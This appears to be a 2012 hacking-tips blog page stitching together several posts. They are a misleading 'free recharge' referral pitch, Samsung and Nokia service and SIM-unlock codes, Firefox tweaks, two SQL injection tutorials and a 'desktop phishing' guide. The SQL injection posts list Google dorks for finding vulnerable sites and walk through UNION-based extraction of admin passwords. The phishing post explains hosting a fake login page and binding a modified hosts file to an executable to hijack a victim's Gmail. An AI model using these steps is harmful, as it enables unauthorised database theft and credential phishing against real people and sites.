New Free Recharge Trick For All Networks November 2012 (100% Working)

This is a Free Recharge Trick for all Networks Including Idea, Vodafone, Bsnl, Reliance, Tata Docomo, Aircel, Tata Indicom, Uninor and all other Networks. Here I am posting one Working Tricks to enjoy free Recharges. You just need to follow all the steps and enjoy free recharges for absolutely free. Doesn’t seem illusive? lol… Its 100% working tips to recharge for free. Scroll down to check out how it really works.

100% Working Free Recharge Trick For All Networks 2012 :

Note : To Get free recharges maximum, you must verify email and mobile and you will get sign up bonus instantly…

Method of Trick : 

Free 10Rs Recharge + 5Rs/referral :

Here is the latest offer by a website to make your sim recharges for absolutely free.. The site is pickzup and it offers Rs. 5 for each referral (highest pay outs till date). Its limited time offer. So don’t wait go fast and register a/c and verify email id and mobile and you will get Rs. 10 as sign up bonus..

How to Earn Money : 

Click on Register for Sign Up :

Wait for Few Seconds and then Click on :

and then after must verify your mobile no. and email address to get free 10Rs credit.

Other Details :

• Earn 5 Rs for each referral and then enjoy free recharges…
• Earn 10 Rs for sign up bonus (Verify mail address and mobile no.)
• You can en-cash your credit in your bank account directly too.

Note:- To get 10Rs. free email verification as sign up bonus, you must verify your email, if you haven’t received any email then click on resend verification email and also must have to verify your mobile by clicking resend verification code on site’s homepage at left side.. Check it out fast and enjoy free 10Rs.

Enjoy..!

Read More ->>

SAMSUNG SECREAT CODES

Software version: *#9999#IMEI number: *#06#Serial number: *#0001#Battery status- Memory capacity : *#9998*246#Debug screen: *#9998*324# - *#8999*324#LCD kontrast: *#9998*523#Vibration test: *#9998*842# - *#8999*842#Alarm beeper - Ringtone test : *#9998*289# - *#8999*289#Smiley: *#9125#Software version: *#0837#Display contrast: *#0523# - *#8999*523#Battery info: *#0228# or *#8999*228# Display storage capacity: *#8999*636#Display SIM card information: *#8999*778#Show date and alarm clock: *#8999*782#The display during warning: *#8999*786#Samsung hardware version: *#8999*837#Show network information: *#8999*638#Display received channel number and received intensity: *#8999*9266#



*#1111# S/W Version*#1234# Firmware Version*#2222# H/W Version*#8999*8376263# All Versions Together*#8999*8378# Test Menu*#4777*8665# GPSR Tool*#8999*523# LCD Brightness*#8999*377# Error LOG Menu*#8999*327# EEP Menu*#8999*667# Debug Mode*#92782# PhoneModel (Wap)#*5737425# JAVA Mode*#2255# Call List*#232337# Bluetooth MAC Adress*#5282837# Java Version



Type in *#0000# on a Samsung A300 to reset the languageMaster reset(unlock) #*7337# (for the new samsungs E700 x600 but not E710)Samsung E700 type *#2255# to show secret call log (not tested)Samsung A300, A800 phone unlock enter this *2767*637#Samsung V200, S100, S300 phone unlock : *2767*782257378#



#*4773# Incremental Redundancy#*7785# Reset wakeup & RTK timer cariables/variables#*7200# Tone Generator Mute#*3888# BLUETOOTH Test mode#*7828# Task screen#*#8377466# S/W Version & H/W Version#*2562# Restarts Phone#*2565# No Blocking? General Defense.#*3353# General Defense, Code Erased.#*3837# Phone Hangs on White screen.#*3849# Restarts Phone#*7337# Restarts Phone (Resets Wap Settings)#*2886# AutoAnswer ON/OFF#*7288# GPRS Detached/Attached#*7287# GPRS Attached #*7666# White Screen #*7693# Sleep Deactivate/Activate #*2286# Databattery #*2527# GPRS switching set to (Class 4, 8, 9, 10) #*2679# Copycat feature Activa/Deactivate #*3940# External looptest 9600 bps #*4263# Handsfree mode Activate/Deactivate #*2558# Time ON #*3941# External looptest 115200 bps #*5176# L1 Sleep #*7462# SIM Phase #*7983# Voltage/Freq #*7986# Voltage #*8466# Old Time #*2255# Call Failed #*5376# DELETE ALL SMS!!!! #*6837# Official Software Version: (0003000016000702) #*2337# Permanent Registration Beep #*2474# Charging Duration #*2834# Audio Path (Handsfree) #*3270# DCS Support Activate/Deactivate #*3282# Data Activate/Deactivate #*3476# EGSM Activate/Deactivate #*3676# FORMAT FLASH VOLUME!!! #*4760# GSM Activate/Deactivate #*4864# White Screen #*7326# Accessory #*7683# Sleep variable #*3797# Blinks 3D030300 in RED #*7372# Resetting the time to DPB variables #*3273# EGPRS multislot (Class 4, 8, 9, 10) #*7722# RLC bitmap compression Activate/Deactivate #*2351# Blinks 1347E201 in RED #*2775# Switch to 2 inner speaker #*7878# FirstStartup (0=NO, 1=YES) #*3838# Blinks 3D030300 in RED #*2077# GPRS Switch #*2027# GPRS Switch #*0227# GPRS Switch #*0277# GPRS Switch #*22671# AMR REC START #*22672# Stop AMR REC (File name: /a/multimedia/sounds/voice list/ENGMODE.amr) #*22673# Pause REC #*22674# Resume REC #*22675# AMR Playback #*22676# AMR Stop Play #*22677# Pause Play #*22678# Resume Play #*77261# PCM Rec Req #*77262# Stop PCM Rec #*77263# PCM Playback #*77264# PCM Stop Play #*22679# AMR Get Time *#8999*364# Watchdog ON/OFF *#8999*427# WATCHDOG signal route setup*2767*3855# = Full Reset (Caution every stored data will be deleted.)*2767*2878# = Custom Reset *2767*927# = Wap Reset *2767*226372# = Camera Reset (deletes photos)*2767*688# Reset Mobile TV #7263867# = RAM Dump (On or Off)

*2767*49927# = Germany WAP Settings *2767*44927# = UK WAP Settings *2767*31927# = Netherlands WAP Settings *2767*420927# = Czech WAP Settings *2767*43927# = Austria WAP Settings *2767*39927# = Italy WAP Settings *2767*33927# = France WAP Settings *2767*351927# = Portugal WAP Settings *2767*34927# = Spain WAP Settings *2767*46927# = Sweden WAP Settings *2767*380927# = Ukraine WAP Settings *2767*7927# = Russia WAP Settings *2767*30927# = GREECE WAP Settings *2767*73738927# = WAP Settings Reset *2767*49667# = Germany MMS Settings *2767*44667# = UK MMS Settings *2767*31667# = Netherlands MMS Settings *2767*420667# = Czech MMS Settings *2767*43667# = Austria MMS Settings *2767*39667# = Italy MMS Settings *2767*33667# = France MMS Settings *2767*351667# = Portugal MMS Settings *2767*34667# = Spain MMS Settings *2767*46667# = Sweden MMS Settings *2767*380667# = Ukraine MMS Settings *2767*7667#. = Russia MMS Settings *2767*30667# = GREECE MMS Settings



*#7465625# = Check the phone lock status *7465625*638*Code# = Enables Network lock #7465625*638*Code# = Disables Network lock *7465625*782*Code# = Enables Subset lock #7465625*782*Code# = Disables Subset lock *7465625*77*Code# = Enables SP lock #7465625*77*Code# = Disables SP lock *7465625*27*Code# = Enables CP lock #7465625*27*Code# = Disables CP lock *7465625*746*Code# = Enables SIM lock #7465625*746*Code# = Disables SIM lock *7465625*228# = Activa lock ON #7465625*228# = Activa lock OFF *7465625*28638# = Auto Network lock ON #7465625*28638# = Auto Network lock OFF *7465625*28782# = Auto subset lock ON #7465625*28782# = Auto subset lock OFF *7465625*2877# = Auto SP lock ON #7465625*2877# = Auto SP lock OFF *7465625*2827# = Auto CP lock ON #7465625*2827# = Auto CP lock OFF *7465625*28746# = Auto SIM lock ON #7465625*28746# = Auto SIM lock OFF



Type *#9998*627837793# Go to the 'my parameters' and there you will find new menu where you can unlock phone.(not tested-for samsung C100)To unlock a Samsung turn the phone off take the sim card and type the following code *#pw+15853649247w# .Java status code: #*53696# (Samsung X600)



If you want to unlock your phone put a sim from another company then type *#9998*3323# it will reset your phone. Push exit and then push 7, it will reset again. Put your other sim in and it will say sim lock, type in 00000000 then it should be unlocked. Type in *0141# then the green call batton and it's unlocked to all networks. This code may not work on the older phones and some of the newer phones. If it doesn't work you will have to reset your phone without a sim in it by typing *#2767*2878# or *#9998*3855# (not tested)

Read More ->>

NOKIA SECREAT CODES

NOKIA MOBILE:
Nokia mobile hidden codes to do all secret things. As you know Nokia is very popular mobile brand, if you want some hidden codes of nokia mobile then you are at right place



On the main screen of Nokia Made mobile type following codes:

*#06#  for checking the IMEI (International Mobile Equipment Identity ) .
*#7780#  reset to factory setting.
*#67705646#  this will clear the LCD display (operator logo).
*#0000#  to view software version.
*#2820#  to show bluetooth device address.
*#746025625#  sin clock allowed status.
#pw+1234567890+1#  shows if sim has restrictions.
*#92702689#  takes you to secret menu where you find some of the information below:
1. Displays serail number.
2. Displays month and year of manufacture.
3. Displays (if there) the date when the phone was purchased.
4. Displays the date of the last repair - if found (0000).
5. Shows life timer of phone (time passes since last start).
*#3370*  Enhanced full rate codec (EFR) deactivation. Phone will automatically restart. Increase battery life by 30% because receive less signal from network.
*#3370#  Enhanced full rate codec (EFR) activation.Increase signal strength, better signal reception. It also help if you want to use gprs and the service is not responding or too slow.Phone battery will drain faster through.
*#4720#  Half rate codec activation.
*#4720*  Half rate codec deactivation. The phone will automatically restart.

If you forgot wallet code for Nokia S60 phone, use this code reset: *#7370925538#
Note, your data in the wallet will be erased. Phone will ask you the lock code. Default lock code is: 12345

Press *#3925538# to delete the contents and code of wallet.
Unlock service provider: Insert sim, turn phone on and press vol up(arrow keys) for 3 seconds, should say pin code. Press C,then press * message should flash, press * again and 04*pin*pin*pin# \
*#7328748263373738# resets security code.
Default security code is 12345

Change closed caller group (settings >security settings>user groups) to 00000 and ure phone will sound the message tone when you are near a radar speed trap. Setting it to 500 will cause your phone 2 set off security alarms at shop exits, gr8 for practical jokes! (works with some of the Nokia phones.) Press and hold “0? on the main screen to open wap browser.

Read More ->>

SQL INJECTION MANUALLY FOR WEBSITES

Hi guys
This is a tutorial for SQL injection
now lets start

Use google to search for dorks

For searching for SQL vulnerable sites,you can use these dork's

Dork: SQL Injection
inurl:"id=" & intext:"Warning: mysql_fetch_assoc()
inurl:"id=" & intext:"Warning: mysql_fetch_array()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: is_writable()
inurl:"id=" & intext:"Warning: getimagesize()
inurl:"id=" & intext:"Warning: Unknown()
inurl:"id=" & intext:"Warning: session_start()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: pg_exec()
inurl:"id=" & intext:"Warning: mysql_result()
inurl:"id=" & intext:"Warning: mysql_num_rows()
inurl:"id=" & intext:"Warning: mysql_query()
inurl:"id=" & intext:"Warning: array_merge()
inurl:"id=" & intext:"Warning: preg_match()
inurl:"id=" & intext:"Warning: ilesize()
inurl:"id=" & intext:"Warning: filesize()
inurl:"id=" & intext:"Warning: require()
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=

injecting a site

now you got your vulnerable site


http://www.site.comnews.php ?id=-17' add ' to the end to check if its vulnerable

it gets error,i know its vulnerable so i remove the ' and do

http://www.site.com/news.php?id=17  order by 1--
http://www.site.com/news.php?id=17  order by 2--
http://www.site.com/news.php?id=17  order by 3--

No errors i continue etc etc

i finally get an error when i do like below

http://www.site.com/news.php?id=17  order by 13--

so this tells me 13 columns dont exist,so there must be 12 columns in the database

so next i do the UNION SELECT function as shown below


http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12-- (note:- make sure to add a - in between = 17 like =-17 in the ID)


i Hit enter


Numbers 4 and 5 appear,this means data can be extracted from numbers four and five


I Replace 4 in the url with @@version so it now looks like


http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,@@version,5,6,7,8,9,10,11,12--



Then i hit enter

5.0.32-Debian_7etch8-log


^this is the mysql version running,So its running version 5 that helps alot,(versions 4 and below we have the guess the table name's)


Now

Where we put @@version (4th spot)

Replace it with

group_concat(table_name) <<gets table name

like

http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12--


And at the end of union select string remove the -- after the 12 and add


from information_schema.tables where table_schema=database()--


So it now looks like

http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=database()--


i Now see


x_admins,x_articles,x_ban,x_banners,x_banners_info,x_comments,x_file_categories,? ​ x_file_data,x_forum_a,x_forum_b,x_forum_c,x_gbook,x_infopages,x_links_categories? ​ ,x_links_data,x_mails,x_menu,x_news,x_poll_data,x_poll_desc,x_pw,x_topic,x_users? ​



Now replace group_Concat(table_name) with group_concat(column_name) and everything after union select 5,6,7,8,9,10,11,12 with
from information_schema.columns where table_name='x_admins'--

so it goes from

http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,group_concat(table_name),5,6,7,8,9,10,11,12 from information_schema.tables where table_schema=database()--

TO

http://www.site/news.php?id=-17  UNION SELECT 1,2,3,group_concat(column_name),5,6,7,8,9,10,11,12 from information_schema.columns where table_name='x_admins'--

we see id,nick,pass,name,added,access,mail,stat

Learn about grouping at this point but now we add


group_concat(id,0x3a,pass,0x3a,mail) to were the group_concat(column_name) is and add from x_admins-- after 10,11,12

So the string becomes

http://www.site.com/news.php?id=-17  UNION SELECT 1,2,3,group_concat(id,0x3a,pass,0x3a,mail),5,6,7,8,9,10,11,12 from x_admins--

Read More ->>

The sql injection on asp

The sql injection on asp



So first of all we will find some site that is Vulnerable and is on .asp



So assume that u got a site with the name of

Code:

http://www.target.com/



now find page where the site is vul to sql injection...



You can check the Vulnerability by adding single quotation '

at the end of URL like

Code:

http://www.target.com/product.asp?id=13'



If u get this error...

Code:

Microsoft OLE DB Provider for ODBC Drivers error '80040e14'



[Microsoft][ODBC Microsoft Access Driver] Syntax error in string in query expression 'department_id=1024''.



/deptdet.asp, line 122

Then this means the site is vul to sql injections...Now we are going to find the columns in it...Normally we use -- at the end of string but in this case we will be using #

Code:

http://www.target.com/product.asp?id=13 order by 1#



Suppose that the site has 10 columns...when you will use the query "order by 1#" (without double quotations)

You will not get any error...the page will load normally...but when you will use the query "order by 11#" (without double quotations) you will get an error this means that the site has 10 columns...



So we will have an error on this query

Code:

http://www.target.com/product.asp?id=13 order by 11#

But when we will use this query, we will not get any error.

Code:

http://www.target.com/product.asp?id=13 order by 10#

This tells us that the table has 10 columns.



Now we will write the query as...

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10#



So now in next step we need name of a table to get number of largets visible column from all .. let me explain bit , like in simple sql injection we use union select 1,2,3,4,5,6 -- and we get a number to get information from site , in this we need a table name to get that number of visible column ,



so to get that number we are going to add name of table after union select 1,2,3,4,5,6,7, ..,10



in this scripts of getting table names dont work most times i tried some of them so we will add name of tables manually normally name of tables are " admin,tbladmin,tbl_admin,user,users,login,info,email" etc . Suppose in the site we got admin table that is visible. Now our url will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,3,4,5,6,7,8,9,10 from admin#



After this we will get number of largest visible column which we can use to get data from site. Suppose we got 3,7and 6 columns that are visible...



So now we are going to use 3 to get information now all we have to do is just put the name of column instead of 3 in string and we will get username and password ,



Now our URL will look like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,name,4,5,6,7,8,9,10 from admin#

Suppose we got a username instead of the number 3.



and then change column name with passwords column name

you will get the password ;)

URL will be like

Code:

http://www.target.com/product.asp?id=13 union select 1,2,passwords,4,5,6,7,8,9,10 from admin#

Hopes i will helped you , in this type of injection we don't get much working scripts to get tables etc if i get working ones i will update this tut soon ... by me for , enjoy !!

Read More ->>

Increase Your Firefox Speed

Increase Firefox Speed

1. Type about:config in the address bar and then press Enter.

2. In the filter search bar type network.http.pipelining. Be sure the value field is set true,if not double-click to set true. HTTP is the application-layer protocol that most web pages are transferred with. In HTTP 1.1, multiple requests can be sent before any responses are received. This is known as pipelining. Pipelining reduces page loading times, but not all servers support it.

3. Go back to the filter search bar and type network.http.pipelining.maxrequests. Double-click this option and set its value to 8.

4. In the filter search bar and type network.http.proxy.pipelining. Once opened doubleclick on it and set it to true.

5. In IPv6-capable DNS servers, an IPv4 address may be returned when an IPv6 address is requested. It is possible for Mozilla to recover from this misinformation, but a significant delay is introduced.
Type network.dns.disableIPv6 in the filter search bar and set this option to true by double clicking on it.

6. CONTENT INTERRUPT PARSING
This preference controls if the application will interrupt parsing a page to respond to UI events. It does not exist by default. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Boolean from the pop-up menu. Then:
A. Enter content.interrupt.parsing in the New boolean value pop-up window and click OK
B. When prompted to choose the value for the new boolean, select true and click OK.

7. Rather than wait until a page has completely downloaded to display it to the user, Mozilla applications will regularly render what has been received to that point. This option controls the maximum amount of time the application will be unresponsive while rendering pages. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Enter content.max.tokenizing.time in the New integer value pop-up window and click OK
B. You will be prompted to enter a value. Enter 2250000 and click OK.

8. CONTENT NOTIFY INTERVAL
This option sets the minimum amount of time to wait between re flows. Right-click (Apple users ctrl-click) anywhere in the about:config window, select New and then Integer from the pop-up menu.
A. Type content.notify.interval in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.

9. CONTENT NOTIFY ON TIMER
A. This option sets if to re-flow pages at an interval any higher than that specified by content.notify.interval. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Boolean from the pop-up menu.
B. Type content.notify.ontimer in the New boolean value pop-up window and click OK.
C. You will be prompted to choose the value for the new boolean. Select true and click OK.

10. Notify Backoffcount
This option controls the maximum number of times the content will do timer-based reflows. After this number has been reached, the page will only reflow once it is finished downloading. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.notify.backoffcount in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 5 and click OK.

11. CONTENT SWITCH THRESHOLD
You can interact with a loading page when content.interrupt.parsing is set to true. When a page is loading, the application has two modes: a high frequency interrupt mode and a low frequency interrupt mode. The first one interrupts the parser more frequently to allow for greater UI responsiveness during page load.
The low frequency interrupt mode interrupts the parser less frequently to allow for quicker page load. The application enters high frequency interrupt mode when you move the mouse or type on the keyboard and switch back to low frequency mode when you had no activity for a certain amount of time. This preference controls that amount of time. Right-click (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter content.switch.threshold in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 750000 and click OK.

12. NGLAYOUT INITIALPAINT DELAY
Mozilla applications render web pages incrementally, they display what’s been received
of a page before the entire page has been downloaded. Since the start of a web page
normally doesn’t have much useful information to display, Mozilla applications will wait
a short interval before first rendering a page. This preference controls that interval. Rightclick (Apple users ctrl-click) anywhere in the about:config window and select New and then Integer from the pop-up menu.
A. Enter nglayout.initialpaint.delay in the New integer value pop-up window and click OK.
B. You will be prompted to enter a value. Enter 0 and click OK.

Read More ->>

Difference between phishing and desktop phishing

Difference between phishing and desktop phishing is as follows.

In phishing

1. Attacker convinces the victim to click on the link of fake login page which resembles a genuine login page.
2.Victim enters his credentials in fake login page that goes to attacker.
3. Victim is then redirected to an error page or genuine website depending on attacker.


But main drawback in phishing is that victim can easily differentiate between fake and real login page by
looking at the domain name. We can overcome this in desktop phishing by spoofing domain name.

In desktop phishing

1. Attacker sends an executable file to victim and victim is supposed to double click on it. Attacker's job is done.
2. Victim types the domain name of orignal/genuine website and is taken to our fake login page.
But the domain name remains the same as typed by victim
and victim doesn't come to know.
3. Rest of the things are same as in normal phishing.


What is Hosts File ?

The hosts file is a text file containing domain names and IP address associated with them.
Location of hosts file in windows: C:\Windows\System32\drivers\etc\
Whenever we visit any website, say www.anything.com , an query is sent to Domain Name Server(DNS) to
look up for the IP address associated with that website/domain. But before doing this the hosts file on our local computer is checked for the IP address associated to the domain name.

Suppose we make an entry in hosts file as shown. When we visitwww.anywebsite.com , we would
be taken to this 115.125.124.50. No query for resolving IP address associated with www.anywebsite.com would be sent to DNS.

What is the attack ?

I hope you have got an idea that how modification of this hosts file on victim's computer can be misused.
We need to modify victim's hosts file by adding the genuine domain name and IP address of our
fake website /phishing page. Whenever victim would visit the genuine website , he would be directed to our fake login page
and domain name in the URL box would remain genuine as typed by victim. Hence domain name is spoofed.

Steps to perform attack

1. Host phishing page on your computer.
Since the webshosting sites like 110mb.com,ripway.com etc where we usually upload our phishing page do not provide a IP that points to your website likewww.anything.110mb.com. An IP address points to a webserver and not a website. So we need to host the phishing page on our computer using a webserver software like wamp or xampp.

Download the wamp or xampp.

• Copy your phishing page and paste it in the WWW directory in wamp, the default path is "C:\Wamp\WWW" 

• Run Wamp server on your pc

• Right click the wamp icon in the system tray and select Start all services, Visit your public IP address and you must see your phishing page

2.Modify Hosts file.
If you dont have physical access to victim's computer. Then copy your hosts file and paste anywhere.
Edit it with any text editor and associate your public IP address with domain you wish as show.

Like in this case , when victim would visit gmail.com , he would be take to website hosted on IP 'xxx.xxx.xxx.xxx'.
Replace it with your public IP.
3. Compress hosts file such that when victim opens it, it automatically gets copied to default
location C:\Windows\system32\drivers\etc and victim's hosts file get replaced by our modified hosts file.

The you can bind this file with any exe using a binder or directly give it to victim. He is supposed to click it
and you are done .

Limitation of attack

1.Since our pubilc IP address is most probably dynamic that it gets changed everytime we disconnect and
connect. To overcome this we need to purchase static IP from our ISP.
2. The browser may warn the victim that Digital Certificate of the website is not genuine.

Read More ->>